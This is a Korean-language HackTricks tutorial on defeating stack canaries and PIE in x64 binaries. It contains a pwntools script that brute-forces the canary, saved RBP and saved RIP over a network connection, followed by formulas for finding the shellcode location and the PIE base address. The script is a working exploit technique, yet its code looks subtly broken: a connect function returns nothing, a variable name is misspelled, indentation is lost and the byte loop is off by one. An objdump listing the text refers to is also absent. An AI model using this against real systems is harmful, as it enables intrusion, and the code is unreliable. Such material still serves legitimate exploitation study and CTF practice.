hacktricks/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md

5.8 KiB

스택 내의 BF 주소

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

캐너리와 PIE (Position Independent Executable)로 보호된 이진 파일을 다루고 있다면 아마도 이를 우회해야 할 필요가 있을 것입니다.

{% hint style="info" %} **checksec**가 이진 파일이 보호되어 있는지 찾지 못할 수 있습니다. 특히 이것이 정적으로 컴파일되었고 함수를 식별할 수 없는 경우에는.
그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우에는 이를 수동으로 알아차릴 수 있습니다. {% endhint %}

주소 브루트 포스

PIE를 우회하려면 어떤 주소를 유출해야 합니다. 그리고 이진 파일이 어떤 주소도 유출하지 않는 경우에는 취약한 함수에서 스택에 저장된 RBP와 RIP를 브루트 포스하는 것이 가장 좋습니다.
예를 들어, 이진 파일이 캐너리PIE를 사용하여 보호되는 경우, 캐너리를 브루트 포스한 다음 다음 8바이트(x64)는 저장된 RBP이고 다음 8바이트는 저장된 RIP가 될 것입니다.

{% hint style="success" %} 스택 내의 반환 주소는 주로 이진 코드에 속하는 것으로 가정됩니다. 이는 취약점이 이진 코드에 위치한 경우에 일반적으로 해당됩니다. {% endhint %}

이진 파일에서 RBP와 RIP를 브루트 포스하기 위해 프로그램이 출력되거나 충돌하지 않는 경우 유효한 추측된 바이트를 올바르다고 간주할 수 있습니다. 캐너리를 브루트 포스하는 데 사용된 동일한 함수를 사용하여 RBP와 RIP를 브루트 포스할 수 있습니다:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

PIE를 무력화하기 위해 필요한 마지막 단계는 유출된 주소에서 유용한 주소를 계산하는 것입니다: RBP와 RIP.

RBP에서는 스택 내부에 셸을 작성하는 위치를 계산할 수 있습니다. 이는 스택 내부에 문자열 "/bin/sh\x00"을 작성할 위치를 파악하는 데 매우 유용합니다. 유출된 RBP와 셸코드 간의 거리를 계산하려면 유출된 RBP 이후에 중단점을 설정하고 셸코드가 위치한 곳을 확인한 후 셸코드와 RBP 간의 거리를 계산할 수 있습니다:

INI_SHELLCODE = RBP - 1152

RIP에서 PIE 이진 파일의 베이스 주소를 계산할 수 있으며, 이는 유효한 ROP 체인을 생성하는 데 필요합니다.
베이스 주소를 계산하려면 objdump -d vunbinary를 수행하고 최신 주소를 확인하십시오:

이 예에서는 모든 코드를 찾기 위해 1 바이트와 반만 필요하다는 것을 알 수 있습니다. 따라서, 이 상황에서의 베이스 주소는 "000"으로 끝나는 누출된 RIP일 것입니다. 예를 들어, 0x562002970ecf가 누출되었다면 베이스 주소는 0x562002970000이 됩니다.

elf.address = RIP - (RIP & 0xfff)

개선 사항

이 게시물에서의 일부 관찰에 따르면, RBP 및 RIP 값이 유출될 때, 서버가 올바른 값이 아닌 경우에도 일부 값으로 인해 서버가 충돌하지 않고 BF 스크립트가 올바른 값을 획득한 것으로 생각할 수 있습니다. 이는 일부 주소가 정확한 값이 아니더라도 서버를 중단시키지 않을 수 있기 때문입니다.

해당 블로그 게시물에 따르면 서버로의 요청 사이에 짧은 지연을 추가하는 것이 권장됩니다.